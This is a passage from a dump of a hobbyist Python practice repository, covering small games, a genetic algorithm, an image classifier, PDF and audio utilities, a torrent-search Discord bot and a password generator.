'JavaScript'", 57 | "correct_answer": "False", 58 | "incorrect_answers": [ 59 | "True" 60 | ] 61 | }, 62 | { 63 | "category": "Science: Computers", 64 | "type": "boolean", 65 | "difficulty": "medium", 66 | "question": "AMD created the first consumer 64-bit processor.", 67 | "correct_answer": "True", 68 | "incorrect_answers": [ 69 | "False" 70 | ] 71 | }, 72 | { 73 | "category": "Science: Computers", 74 | "type": "boolean", 75 | "difficulty": "easy", 76 | "question": "'HTML' stands for Hypertext Markup Language.", 77 | "correct_answer": "True", 78 | "incorrect_answers": [ 79 | "False" 80 | ] 81 | }, 82 | { 83 | "category": "Science: Computers", 84 | "type": "boolean", 85 | "difficulty": "easy", 86 | "question": "In most programming languages, the operator ++ is equivalent to the statement '+= 1'.", 87 | "correct_answer": "True", 88 | "incorrect_answers": [ 89 | "False" 90 | ] 91 | }, 92 | { 93 | "category": "Science: Computers", 94 | "type": "boolean", 95 | "difficulty": "hard", 96 | "question": "The IBM PC used an Intel 8008 microprocessor clocked at 4.77 MHz and 8 kilobytes of memory.", 97 | "correct_answer": "False", 98 | "incorrect_answers": [ 99 | "True" 100 | ] 101 | } 102 | ] 103 | -------------------------------------------------------------------------------- /Projects/SGA/Entity.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | class Entity: 4 | 5 | def __init__(self,name,xValue,yValue,zValue): 6 | self.name = name 7 | self.xValue = xValue 8 | self.yValue = yValue 9 | self.zValue = zValue 10 | self.chromosome = self.calculateChromosome(xValue,yValue,zValue) 11 | self.fitness = self.calculateFitness(xValue,yValue,zValue) 12 | 13 | #My equation: sen(x^(3))+cos(y^(2)) + 4z 14 | def calculateFitness(self, xValue,yValue,zValue): 15 | solvedEquation = math.sin(math.pow(xValue,3)) + math.cos(math.pow(yValue,2)) + (4 * zValue) #Change equation 16 | return solvedEquation 17 | 18 | def calculateChromosome(self, xValue, yValue, zValue): 19 | fullBinary = '' 20 | for i in range(3): 21 | if i == 0: 22 | binary= format(xValue,'b') 23 | elif i == 1: 24 | binary= format(yValue,'b') 25 | elif i == 2: 26 | binary = format(zValue,'b') 27 | 28 | while len(binary) < 8: 29 | binary = '0' + binary 30 | fullBinary += binary 31 | return fullBinary 32 | 33 | def updatePercentage(self,percentage): 34 | self.percentage = percentage 35 | 36 | def updateRangeInGraph(self,rangeInGraph): 37 | self.rangeInGraph = rangeInGraph 38 | 39 | def mutate(self,xValue, yValue, zValue): 40 | self.xValue = xValue 41 | self.yValue = yValue 42 | self.zValue = zValue 43 | self.chromosome = self.calculateChromosome(xValue,yValue,zValue) 44 | self.fitness = self.calculateFitness(xValue,yValue,zValue) 45 | -------------------------------------------------------------------------------- /Projects/SGA/README.md: -------------------------------------------------------------------------------- 1 | # SGA 2 | 3 | Algorithm used to maximize or minimize a function (In this case, sin(x^(3))+cos(y^(2)) + 4z) 4 | using an SGA, using binary values to represent chromosomes, using a random breed probability between 0.6-0.9 5 | 6 | 7 | Thanks for testing this out! 8 | 9 | Best regards, RockLee444 -------------------------------------------------------------------------------- /Projects/Stone_Paper_Scissor.py: -------------------------------------------------------------------------------- 1 | # Import Required Library 2 | from tkinter import * 3 | import random 4 | 5 | # Create Object 6 | root = Tk() 7 | 8 | # Set geometry 9 | root.geometry("300x300") 10 | 11 | # Set title 12 | root.title("Rock Paper Scissor Game") 13 | 14 | # Computer Value 15 | computer_value = { 16 | "0":"Rock", 17 | "1":"Paper", 18 | "2":"Scissor" 19 | } 20 | 21 | # Reset The Game 22 | def reset_game(): 23 | b1["state"] = "active" 24 | b2["state"] = "active" 25 | b3["state"] = "active" 26 | l1.config(text = "Player ") 27 | l3.config(text = "Computer") 28 | l4.config(text = "") 29 | 30 | # Disable the Button 31 | def button_disable(): 32 | b1["state"] = "disable" 33 | b2["state"] = "disable" 34 | b3["state"] = "disable" 35 | 36 | # If player selected rock 37 | def isrock(): 38 | c_v = computer_value[str(random.randint(0,2))] 39 | if c_v == "Rock": 40 | match_result = "Match Draw" 41 | elif c_v=="Scissor": 42 | match_result = "Player Win" 43 | else: 44 | match_result = "Computer Win" 45 | l4.config(text = match_result) 46 | l1.config(text = "Rock ") 47 | l3.config(text = c_v) 48 | button_disable() 49 | 50 | # If player selected paper 51 | def ispaper(): 52 | c_v = computer_value[str(random.randint(0, 2))] 53 | if c_v == "Paper": 54 | match_result = "Match Draw" 55 | elif c_v=="Scissor": 56 | match_result = "Computer Win" 57 | else: 58 | match_result = "Player Win" 59 | l4.config(text = match_result) 60 | l1.config(text = "Paper ") 61 | l3.config(text = c_v) 62 | button_disable() 63 | 64 | # If player selected scissor 65 | def isscissor(): 66 | c_v = computer_value[str(random.randint(0,2))] 67 | if c_v == "Rock": 68 | match_result = "Computer Win" 69 | elif c_v == "Scissor": 70 | match_result = "Match Draw" 71 | else: 72 | match_result = "Player Win" 73 | l4.config(text = match_result) 74 | l1.config(text = "Scissor ") 75 | l3.config(text = c_v) 76 | button_disable() 77 | 78 | # Add Labels, Frames and Button 79 | Label(root, 80 | text = "Rock Paper Scissor", 81 | font = "normal 20 bold", 82 | fg = "blue").pack(pady = 20) 83 | 84 | frame = Frame(root) 85 | frame.pack() 86 | 87 | l1 = Label(frame, 88 | text = "Player ", 89 | font = 10) 90 | 91 | l2 = Label(frame, 92 | text = "VS ", 93 | font = "normal 10 bold") 94 | 95 | l3 = Label(frame, text = "Computer", font = 10) 96 | 97 | l1.pack(side = LEFT) 98 | l2.pack(side = LEFT) 99 | l3.pack() 100 | 101 | l4 = Label(root, 102 | text = "", 103 | font = "normal 20 bold", 104 | bg = "white", 105 | width = 15 , 106 | borderwidth = 2, 107 | relief = "solid") 108 | l4.pack(pady = 20) 109 | 110 | frame1 = Frame(root) 111 | frame1.pack() 112 | 113 | b1 = Button(frame1, text = "Rock", 114 | font = 10, width = 7, 115 | command = isrock) 116 | 117 | b2 = Button(frame1, text = "Paper ", 118 | font = 10, width = 7, 119 | command = ispaper) 120 | 121 | b3 = Button(frame1, text = "Scissor", 122 | font = 10, width = 7, 123 | command = isscissor) 124 | 125 | b1.pack(side = LEFT, padx = 10) 126 | b2.pack(side = LEFT,padx = 10) 127 | b3.pack(padx = 10) 128 | 129 | Button(root, text = "Reset Game", 130 | font = 10, fg = "red", 131 | bg = "black", command = reset_game).pack(pady = 20) 132 | 133 | # Execute Tkinter 134 | root.mainloop() 135 | -------------------------------------------------------------------------------- /Projects/Text_to_Handwritten_Text.py: -------------------------------------------------------------------------------- 1 | # Import the following modules 2 | import pytesseract 3 | from PIL import Image 4 | import os 5 | import pywhatkit as kit 6 | # Change the directory to the location where image is present 7 | os.chdir(r"C:\Users\Dell\Downloads") 8 | # Set the Path of Tesseract 9 | pytesseract.pytesseract.tesseract_cmd = r"C:\Users\Dell\AppData\Local\Tesseract-OCR\tesseract.exe" 10 | img = Image.open("GFG.png") # Load the Image 11 | text = pytesseract.image_to_string(img) # Convert Image to Text 12 | # Convert Text to Hand Written Text 13 | kit.text_to_handwriting(text, rgb=[0, 0, 250]) 14 | -------------------------------------------------------------------------------- /Projects/TikTakToe.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | 4 | class TicTacToe: 5 | 6 | def __init__(self): 7 | self.board = [] 8 | 9 | def create_board(self): 10 | for i in range(3): 11 | row = [] 12 | for j in range(3): 13 | row.append('-') 14 | self.board.append(row) 15 | 16 | def get_random_first_player(self): 17 | return random.randint(0, 1) 18 | 19 | def fix_spot(self, row, col, player): 20 | self.board[row][col] = player 21 | 22 | def is_player_win(self, player): 23 | win = None 24 | 25 | n = len(self.board) 26 | 27 | # checking rows 28 | for i in range(n): 29 | win = True 30 | for j in range(n): 31 | if self.board[i][j] != player: 32 | win = False 33 | break 34 | if win: 35 | return win 36 | 37 | # checking columns 38 | for i in range(n): 39 | win = True 40 | for j in range(n): 41 | if self.board[j][i] != player: 42 | win = False 43 | break 44 | if win: 45 | return win 46 | 47 | # checking diagonals 48 | win = True 49 | for i in range(n): 50 | if self.board[i][i] != player: 51 | win = False 52 | break 53 | if win: 54 | return win 55 | 56 | win = True 57 | for i in range(n): 58 | if self.board[i][n - 1 - i] != player: 59 | win = False 60 | break 61 | if win: 62 | return win 63 | return False 64 | 65 | for row in self.board: 66 | for item in row: 67 | if item == '-': 68 | return False 69 | return True 70 | 71 | def is_board_filled(self): 72 | for row in self.board: 73 | for item in row: 74 | if item == '-': 75 | return False 76 | return True 77 | 78 | def swap_player_turn(self, player): 79 | return 'X' if player == 'O' else 'O' 80 | 81 | def show_board(self): 82 | for row in self.board: 83 | for item in row: 84 | print(item, end=" ") 85 | print() 86 | 87 | def start(self): 88 | self.create_board() 89 | 90 | player = 'X' if self.get_random_first_player() == 1 else 'O' 91 | while True: 92 | print(f"Player {player} turn") 93 | 94 | self.show_board() 95 | 96 | # taking user input 97 | row, col = list( 98 | map(int, input("Enter row and column numbers to fix spot: ").split())) 99 | print() 100 | 101 | # fixing the spot 102 | self.fix_spot(row - 1, col - 1, player) 103 | 104 | # checking whether current player is won or not 105 | if self.is_player_win(player): 106 | print(f"Player {player} wins the game!") 107 | break 108 | 109 | # checking whether the game is draw or not 110 | if self.is_board_filled(): 111 | print("Match Draw!") 112 | break 113 | 114 | # swapping the turn 115 | player = self.swap_player_turn(player) 116 | 117 | # showing the final view of board 118 | print() 119 | self.show_board() 120 | 121 | 122 | # starting the game 123 | tic_tac_toe = TicTacToe() 124 | tic_tac_toe.start() 125 | -------------------------------------------------------------------------------- /Projects/Traffic sign classification/traffic_classifier.h5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Traffic sign classification/traffic_classifier.h5 -------------------------------------------------------------------------------- /Projects/Traffic sign classification/traffic_sign.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import pandas as pd 3 | import matplotlib.pyplot as plt 4 | import cv2 5 | import tensorflow as tf 6 | from PIL import Image 7 | import os 8 | from sklearn.model_selection import train_test_split 9 | from keras.utils import to_categorical 10 | from keras.models import Sequential, load_model 11 | from keras.layers import Conv2D, MaxPool2D, Dense, Flatten, Dropout 12 | 13 | data = [] 14 | labels = [] 15 | classes = 43 16 | cur_path = os.getcwd() 17 | 18 | #Retrieving the images and their labels 19 | for i in range(classes): 20 | path = os.path.join(cur_path,'train',str(i)) 21 | images = os.listdir(path) 22 | 23 | for a in images: 24 | try: 25 | image = Image.open(path + '\\'+ a) 26 | image = image.resize((30,30)) 27 | image = np.array(image) 28 | #sim = Image.fromarray(image) 29 | data.append(image) 30 | labels.append(i) 31 | except: 32 | print("Error loading image") 33 | 34 | #Converting lists into numpy arrays 35 | data = np.array(data) 36 | labels = np.array(labels) 37 | 38 | print(data.shape, labels.shape) 39 | #Splitting training and testing dataset 40 | X_train, X_test, y_train, y_test = train_test_split(data, labels, test_size=0.2, random_state=42) 41 | 42 | print(X_train.shape, X_test.shape, y_train.shape, y_test.shape) 43 | 44 | #Converting the labels into one hot encoding 45 | y_train = to_categorical(y_train, 43) 46 | y_test = to_categorical(y_test, 43) 47 | 48 | #Building the model 49 | model = Sequential() 50 | model.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu', input_shape=X_train.shape[1:])) 51 | model.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu')) 52 | model.add(MaxPool2D(pool_size=(2, 2))) 53 | model.add(Dropout(rate=0.25)) 54 | model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu')) 55 | model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu')) 56 | model.add(MaxPool2D(pool_size=(2, 2))) 57 | model.add(Dropout(rate=0.25)) 58 | model.add(Flatten()) 59 | model.add(Dense(256, activation='relu')) 60 | model.add(Dropout(rate=0.5)) 61 | model.add(Dense(43, activation='softmax')) 62 | 63 | #Compilation of the model 64 | model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) 65 | 66 | epochs = 15 67 | history = model.fit(X_train, y_train, batch_size=32, epochs=epochs, validation_data=(X_test, y_test)) 68 | model.save("my_model.h5") 69 | 70 | #plotting graphs for accuracy 71 | plt.figure(0) 72 | plt.plot(history.history['accuracy'], label='training accuracy') 73 | plt.plot(history.history['val_accuracy'], label='val accuracy') 74 | plt.title('Accuracy') 75 | plt.xlabel('epochs') 76 | plt.ylabel('accuracy') 77 | plt.legend() 78 | plt.show() 79 | 80 | plt.figure(1) 81 | plt.plot(history.history['loss'], label='training loss') 82 | plt.plot(history.history['val_loss'], label='val loss') 83 | plt.title('Loss') 84 | plt.xlabel('epochs') 85 | plt.ylabel('loss') 86 | plt.legend() 87 | plt.show() 88 | 89 | #testing accuracy on test dataset 90 | from sklearn.metrics import accuracy_score 91 | 92 | y_test = pd.read_csv('Test.csv') 93 | 94 | labels = y_test["ClassId"].values 95 | imgs = y_test["Path"].values 96 | 97 | data=[] 98 | 99 | for img in imgs: 100 | image = Image.open(img) 101 | image = image.resize((30,30)) 102 | data.append(np.array(image)) 103 | 104 | X_test=np.array(data) 105 | 106 | pred = model.predict_classes(X_test) 107 | 108 | #Accuracy with the test data 109 | from sklearn.metrics import accuracy_score 110 | print(accuracy_score(labels, pred)) 111 | -------------------------------------------------------------------------------- /Projects/Ultimate_PDF_Maker/Readme.md: -------------------------------------------------------------------------------- 1 | # Ultimate Pdf Maker 2 | 3 | [![forthebadge](https://forthebadge.com/images/badges/made-with-python.svg)](https://forthebadge.com) 4 | 5 | ## Description 6 | This is a python script that scans every image in a directory, and then converts the required one as suggested by the user to convert it into Pdfs. It has further option to merge those files into a single Pdf and in any particular order prescribed by the user. 7 | -------------------------------------------------------------------------------- /Projects/Ultimate_PDF_Maker/The_ultimate_pdf_maker.py: -------------------------------------------------------------------------------- 1 | import img2pdf 2 | import PyPDF2 as pd 3 | from PIL import Image 4 | import os 5 | 6 | def imgtopdf(): 7 | list1 = [] 8 | 9 | i= 1 10 | 11 | for items in os.listdir(): 12 | if items.endswith('.png') or items.endswith('.jpg') or items.endswith('.jpeg'): 13 | list1.append(items) 14 | print(i,"-",items) 15 | i=i+1 16 | 17 | def convert(): 18 | n = list(map(int,input("Serial number of image separated by space and in proper sequence ").split())) 19 | print(n) 20 | for i in n: 21 | 22 | try: 23 | e= list1[i-1] 24 | image = Image.open(e) 25 | if image.mode == "RGBA": 26 | image = image.convert("RGB") 27 | output= e.strip('.png') + ".pdf" 28 | image.save(output,"PDF",resolution=100.0) 29 | 30 | except: 31 | print("Please enter a number in range.") 32 | convert() 33 | convert() 34 | 35 | def pdfmakeone(): 36 | merger = pd.PdfFileMerger() 37 | 38 | list2 = [] 39 | 40 | i= 1 41 | 42 | for things in os.listdir(): 43 | if things.endswith('.pdf'): 44 | list2.append(things) 45 | print(i,"-",things) 46 | i=i+1 47 | 48 | 49 | def number(): 50 | p = list(map(int,input("Serial number of pdf separated by space and in proper sequence ").split())) 51 | print(p) 52 | for i in p: 53 | try: 54 | s= list2[i-1] 55 | merger.append(s) 56 | except: 57 | print("Please enter a number in range.") 58 | number() 59 | 60 | number() 61 | merger.write("Final.pdf") 62 | merger.close() 63 | 64 | 65 | option = input("Reply \"C\" for converting images to pdf and then merging pdfs and \"M\" for ony merging pdf\n").capitalize() 66 | 67 | if option == "C": 68 | imgtopdf() 69 | pdfmakeone() 70 | else: 71 | pdfmakeone() -------------------------------------------------------------------------------- /Projects/Youtube audio downloader: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | from tkinter import Canvas 3 | from pytube import YouTube 4 | 5 | def Download_Audio(): 6 | url = YouTube(str(link.get())) 7 | print(url.streams.get_highest_resolution().resolution) 8 | print(url.title) 9 | print(url.author) 10 | print(url.length) 11 | tk.Label(window, text=url.title, font='Times 12', fg="white", bg="#2B2B2B").place(x=54,y=245) 12 | tk.Label(window, text="Author: " + url.author, font='Times 12', fg="white", bg="#2B2B2B").place(x=54, y=270) 13 | audioStream = url.streams.filter(type="audio") 14 | print(audioStream.first()) 15 | audioStream.first().download("audios/") 16 | tk.Label(window, text='Download Complete!', font='Times 16', fg="White", bg="#2B2B2B").place(x=188, y=102) 17 | 18 | 19 | window = tk.Tk() 20 | window.geometry("600x400") 21 | window.config(bg="#2B2B2B") 22 | window.resizable(width=False, height=False) 23 | window.title('!AUDIOFY!') 24 | link = tk.StringVar() 25 | tk.Label(window, text='AUDIOFY AUDIO DOWNLOADER', font='Times 16 bold', 26 | fg="White", bg="#2B2B2B").place(x=124, y=14) 27 | tk.Label(window, text='Paste video link:', font='Times 16', fg="White",bg="#2B2B2B").place(x=54, y=148) 28 | link_enter = tk.Entry(window,width=55, textvariable=link, font='Times 12', bg="#F07401").place(x=58, y=180) 29 | tk.Button(window, text='EXTRACT AUDIO', font='Times 14', fg="Black", bg='#F07401', padx=2, 30 | command=Download_Audio).place(x=210, y=337) 31 | window.mainloop() 32 | -------------------------------------------------------------------------------- /Projects/Yts Discord Bot/Procfile: -------------------------------------------------------------------------------- 1 | worker: python yts.py 2 | -------------------------------------------------------------------------------- /Projects/Yts Discord Bot/commands.txt: -------------------------------------------------------------------------------- 1 | Command Description Example 2 | 3 | search searches for the movie $search Avengers 4 | ping responds with pong followed by latency $ping 5 | watching sets bot status to the given movie $watching Avengers 6 | clear delete messages on channel $clear -------------------------------------------------------------------------------- /Projects/Yts Discord Bot/requirements.txt: -------------------------------------------------------------------------------- 1 | discord.py==1.7.1 2 | requests==2.25.0 -------------------------------------------------------------------------------- /Projects/Yts Discord Bot/yts.py: -------------------------------------------------------------------------------- 1 | import requests, discord 2 | from discord.ext import commands 3 | 4 | client = commands.Bot(command_prefix='$') 5 | 6 | async def machine(search_mov): 7 | raw_query = requests.get(f'https://yts.mx/api/v2/list_movies.json?query_term={search_mov}').json() 8 | finalResult = "" 9 | setStatus = "" 10 | # print(f"{raw_query['data']['movie_count']} Results Found!!!") 11 | finalResult += f"**{raw_query['data']['movie_count']} Result(s) Found!!!**\n\n" 12 | 13 | if raw_query['data']['movie_count']!=0: 14 | setStatus += raw_query['data']['movies'][0]['title_english'] 15 | for movie in raw_query['data']['movies']: 16 | # print(f"Name: {movie['title_long']}") 17 | finalResult += f"**Name:** {movie['title_long']}\n" 18 | # print('Genres: ', end='') 19 | finalResult += '**Genres:** ' 20 | for genre in movie['genres']: 21 | # print(f'{genre}\t') 22 | finalResult += f'{genre}\t' 23 | # print(f"\n\nSummary: {movie['summary']}") 24 | finalResult += f"\n**Summary:** {movie['summary']}\n" 25 | for torrent in movie['torrents']: 26 | # print(f"{torrent['quality']} {torrent['type']} {torrent['size']}") 27 | finalResult += f"**Quality | Size:** {torrent['quality']} {torrent['type']} | {torrent['size']}\n" 28 | # print(f"Magnet URL: magnet:?xt=urn:btih:{torrent['hash']}&dn={movie['title_long']} {torrent['quality']} {torrent['type']}&tr=udp://open.demonii.com:1337/announce&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.coppersurfer.tk:6969&tr=udp://glotorrents.pw:6969/announce&tr=udp://tracker.opentrackr.org:1337/announce&tr=udp://torrent.gresille.org:80/announce&tr=udp://p4p.arenabg.com:1337&tr=udp://tracker.leechers-paradise.org:6969") 29 | finalResult += f"**Magnet URL:** magnet:?xt=urn:btih:{torrent['hash']}&dn={movie['title_long']} {torrent['quality']} {torrent['type']}&tr=udp://open.demonii.com:1337/announce&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.coppersurfer.tk:6969&tr=udp://glotorrents.pw:6969/announce&tr=udp://tracker.opentrackr.org:1337/announce&tr=udp://torrent.gresille.org:80/announce&tr=udp://p4p.arenabg.com:1337&tr=udp://tracker.leechers-paradise.org:6969\n\n" 30 | finalResult += '-'*100 + '\n\n' 31 | return (finalResult, setStatus) 32 | 33 | @client.event 34 | async def on_ready(): 35 | print("Bot Ready!") 36 | 37 | @client.command() 38 | async def search(ctx, mov1="", mov2="", mov3="", mov4="", mov5="", mov6="", mov7="", mov8="", mov9="", mov10=""): 39 | search_mov = mov1 + " " + mov2 + " " + mov3 + " " + mov4 + " " + mov5 + " " + mov6 + " " + mov7 + " " + mov8 + " " + mov9 + " " + mov10 40 | if mov1 == "": 41 | await ctx.send(f"Please Enter **Movie** Name, like: `/search The Vault`") 42 | else: 43 | (finalResult, setStatus) = await machine(search_mov) 44 | await watching(ctx, setStatus) 45 | if len(finalResult)>2000: 46 | chunk=0 47 | while True: 48 | try: 49 | await ctx.send(f"{finalResult[chunk:2000+chunk]}") 50 | chunk += 2000 51 | except discord.errors.HTTPException: 52 | pass 53 | except: 54 | await ctx.send(f'{finalResult[chunk:]}') 55 | break 56 | else: 57 | await ctx.send(f"{finalResult}") 58 | 59 | @client.command() 60 | async def ping(ctx): 61 | latency = str(int(client.latency * 1000)) 62 | await ctx.send(f'Pong :)\t{latency}ms') 63 | 64 | @client.command() 65 | async def watching(ctx, setStatus): 66 | await client.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=setStatus.upper())) 67 | 68 | @client.command() 69 | async def clear(ctx, amount=5): 70 | await ctx.channel.purge(limit=amount+1) 71 | 72 | client.run("Your Token Here") -------------------------------------------------------------------------------- /Projects/acronym_generator.py: -------------------------------------------------------------------------------- 1 | text = str(input("Enter you input :")) 2 | data = text.split() 3 | acronym = "" 4 | for i in data: 5 | acronym = acronym + str(i[0]).upper() 6 | print(acronym) 7 | 8 | -------------------------------------------------------------------------------- /Projects/astronauts.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import inquirer 3 | 4 | 5 | r = requests.get("http://api.open-notify.org/astros.json", 6 | headers={"User-Agent": "Hello"}) 7 | 8 | data = r.json() 9 | astroEmoji = "👨‍🚀" 10 | astronauts = data["people"] 11 | 12 | print(f'There are {data["number"]} astronauts in the space') 13 | for people in astronauts: 14 | print(f'Name: {people["name"]} {astroEmoji}') 15 | 16 | print("Hey you! Join us and go in the space!") 17 | 18 | confirm = { 19 | inquirer.Confirm('confirmed', 20 | message="Do you want to become an astronaut?", 21 | default=True), 22 | } 23 | confirmation = inquirer.prompt(confirm) 24 | if(confirmation["confirmed"]): 25 | print('Welcome aboard!!!!') 26 | else: 27 | print('Oh no :c') 28 | -------------------------------------------------------------------------------- /Projects/bmi.py: -------------------------------------------------------------------------------- 1 | weight = float(input("Input your Weight(Kg): ")) 2 | height = float(input("Input your Height(mt): ")) 3 | 4 | bmi = (weight/height)/height 5 | print("Your BMI is :", bmi) 6 | 7 | if (bmi>0): 8 | if (bmi<=16): 9 | print("you are severely underweight") 10 | elif (bmi<=18.5): 11 | print("you are underweight") 12 | elif (bmi<=25): 13 | print("you are Healthy") 14 | elif (bmi<=30): 15 | print("you are overweight") 16 | else: 17 | print("you are severely overweight") 18 | else: 19 | print("Enter valid details") 20 | -------------------------------------------------------------------------------- /Projects/image_2_sketch.py.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | image=cv2.imread('Image 2 Pencil Sketch/Images/Captain_america.jpg') # loads an image from the specified file 3 | grey_img=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) # convert an image from one color space to another 4 | invert=cv2.bitwise_not(grey_img) # helps in masking of the image 5 | blur=cv2.GaussianBlur(invert,(21,21),0) # sharp edges in images are smoothed while minimizing too much blurring 6 | invertedblur=cv2.bitwise_not(blur) 7 | sketch=cv2.divide(grey_img,invertedblur,scale=256.0) 8 | cv2.imwrite("sketch.png",sketch) # converted image is saved as mentioned name 9 | -------------------------------------------------------------------------------- /Projects/password generator.py: -------------------------------------------------------------------------------- 1 | import string 2 | import random 3 | 4 | 5 | ## characters to generate password from 6 | alphabets = list(string.ascii_letters) 7 | digits = list(string.digits) 8 | special_characters = list("!@#$%^&*()") 9 | characters = list(string.ascii_letters + string.digits + "!@#$%^&*()") 10 | 11 | def generate_random_password(): 12 | ## length of password from the user 13 | length = int(input("Enter password length: ")) 14 | 15 | ## number of character types 16 | alphabets_count = int(input("Enter alphabets count in password: ")) 17 | digits_count = int(input("Enter digits count in password: ")) 18 | special_characters_count = int(input("Enter special characters count in password: ")) 19 | 20 | characters_count = alphabets_count + digits_count + special_characters_count 21 | 22 | ## check the total length with characters sum count 23 | ## print not valid if the sum is greater than length 24 | if characters_count > length: 25 | print("Characters total count is greater than the password length") 26 | return 27 | 28 | 29 | ## initializing the password 30 | password = [] 31 | 32 | ## picking random alphabets 33 | for i in range(alphabets_count): 34 | password.append(random.choice(alphabets)) 35 | 36 | 37 | ## picking random digits 38 | for i in range(digits_count): 39 | password.append(random.choice(digits)) 40 | 41 | 42 | ## picking random alphabets 43 | for i in range(special_characters_count): 44 | password.append(random.choice(special_characters)) 45 | 46 | 47 | ## if the total characters count is less than the password length 48 | ## add random characters to make it equal to the length 49 | if characters_count < length: 50 | random.shuffle(characters) 51 | for i in range(length - characters_count): 52 | password.append(random.choice(characters)) 53 | 54 | 55 | ## shuffling the resultant password 56 | random.shuffle(password) 57 | 58 | ## converting the list to string 59 | ## printing the list 60 | print("".join(password)) 61 | 62 | 63 | 64 | ## invoking the function 65 | generate_random_password() 66 | -------------------------------------------------------------------------------- /Projects/plagiarism_checker.py: -------------------------------------------------------------------------------- 1 | # difflib module is nothing just a module in python which provides functions like comparing data btw files 2 | # SequenceMatcher is a class in difflib which compare the sequence of characters or elements btw files as long as they are hashable 3 | from difflib import SequenceMatcher 4 | # open function opens the files in reading mode 5 | with open('Plagiarism Checker/Text Files/file1.txt') as file1, open('Plagiarism Checker/Text Files/file2.txt') as file2: 6 | file1_data=file1.read() # Read file1 data and store that in file1_data 7 | file2_data=file2.read() # Read file2 data and store that in file2_data 8 | # None,1st file,2nd file are passes as an argumnet in SequenceMatcher function and result is stored in similarity 9 | # None is passed so that not a single element is ignored during comparison 10 | similarity=SequenceMatcher(None,file1_data,file2_data).ratio() 11 | # Now at last print the similarities in the form of % 12 | print(f"\nThe Similarities between files are {similarity*100}%\n") -------------------------------------------------------------------------------- /Projects/python turtle graphics.py: -------------------------------------------------------------------------------- 1 | import turtle 2 | 3 | t=turtle.Turtle() 4 | 5 | turtle.bgcolor("black") 6 | turtle.pensize(2) 7 | turtle.speed(0) 8 | 9 | while(True): 10 | for i in range(6): 11 | for colors in ["red","blue","magenta","green","yellow","white"]: 12 | turtle.color(colors) 13 | turtle.circle(100) 14 | turtle.left(10) 15 | 16 | turtle.hideturtle() 17 | turtle.mainloop() -------------------------------------------------------------------------------- /Projects/qr_code_generator/.gitignore: -------------------------------------------------------------------------------- 1 | venv 2 | -------------------------------------------------------------------------------- /Projects/qr_code_generator/qr_generator.py: -------------------------------------------------------------------------------- 1 | import pyqrcode 2 | from pyqrcode import QRCode 3 | 4 | 5 | # String which represent the qr code 6 | input_ = str(input("Enter the link you want to convert: ")) 7 | 8 | # Generate qrcode 9 | url = pyqrcode.create(input_) 10 | 11 | # Create and Save as SVG 12 | url.svg("myqr.svg", scale = 8) -------------------------------------------------------------------------------- /Projects/qr_code_generator/requirements.txt: -------------------------------------------------------------------------------- 1 | PyQRCode==1.2.1 2 | -------------------------------------------------------------------------------- /Projects/rock_paper_scissors.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | choices = ["Rock","Paper","Scissors"] 4 | player = False 5 | cpu_score = 0 6 | player_score = 0 7 | 8 | while True: 9 | player = input("Rock, Paper or Scissors?").capitalize() 10 | computer = random.choice(choices) 11 | # Conditions of Rock,Paper and Scissors 12 | if player == computer: 13 | print("Tie!") 14 | elif player == "Rock": 15 | if computer == "Paper": 16 | print("You lose!",computer,"covers",player) 17 | cpu_score+=1 18 | else: 19 | print("You win!",player,"smashes",computer) 20 | player_score+=1 21 | elif player == "Paper": 22 | if computer == "Scissors": 23 | print("You Lose!",computer,"cuts",player) 24 | cpu_score+=1 25 | else: 26 | print("You win!",player,"covers",computer) 27 | player_score+=1 28 | elif player == "Scissors": 29 | if computer == "Rock": 30 | print("You Lose!",computer,"smashes",player) 31 | cpu_score+=1 32 | else: 33 | print("You win!",player,"cuts",computer) 34 | player_score+=1 35 | elif player == "End": 36 | print("Final Scores:") 37 | print(f"CPU:{cpu_score}") 38 | print(f"Plaer:{player_score}") 39 | break -------------------------------------------------------------------------------- /Projects/tic_tac_toe.py: -------------------------------------------------------------------------------- 1 | 2 | # Tic tac toe game in Python 3 | # importing all necessary libraries 4 | import numpy as np 5 | import random 6 | from time import sleep 7 | 8 | # Creates an empty board 9 | def create_board(): 10 | return(np.array([[0, 0, 0], 11 | [0, 0, 0], 12 | [0, 0, 0]])) 13 | 14 | # Check for empty places on board 15 | def possibilities(board): 16 | l = [] 17 | 18 | for i in range(len(board)): 19 | for j in range(len(board)): 20 | 21 | if board[i][j] == 0: 22 | l.append((i, j)) 23 | return(l) 24 | 25 | # Select a random place for the player 26 | def random_place(board, player): 27 | selection = possibilities(board) 28 | current_loc = random.choice(selection) 29 | board[current_loc] = player 30 | return(board) 31 | 32 | # Checks whether the player has three 33 | # of their marks in a horizontal row 34 | def row_win(board, player): 35 | for x in range(len(board)): 36 | win = True 37 | 38 | for y in range(len(board)): 39 | if board[x, y] != player: 40 | win = False 41 | continue 42 | 43 | if win == True: 44 | return(win) 45 | return(win) 46 | 47 | # Checks whether the player has three 48 | # of their marks in a vertical row 49 | def col_win(board, player): 50 | for x in range(len(board)): 51 | win = True 52 | 53 | for y in range(len(board)): 54 | if board[y][x] != player: 55 | win = False 56 | continue 57 | 58 | if win == True: 59 | return(win) 60 | return(win) 61 | 62 | # Checks whether the player has three 63 | # of their marks in a diagonal row 64 | def diag_win(board, player): 65 | win = True 66 | y = 0 67 | for x in range(len(board)): 68 | if board[x, x] != player: 69 | win = False 70 | if win: 71 | return win 72 | win = True 73 | if win: 74 | for x in range(len(board)): 75 | y = len(board) - 1 - x 76 | if board[x, y] != player: 77 | win = False 78 | return win 79 | 80 | # Evaluates whether there is 81 | # a winner or a 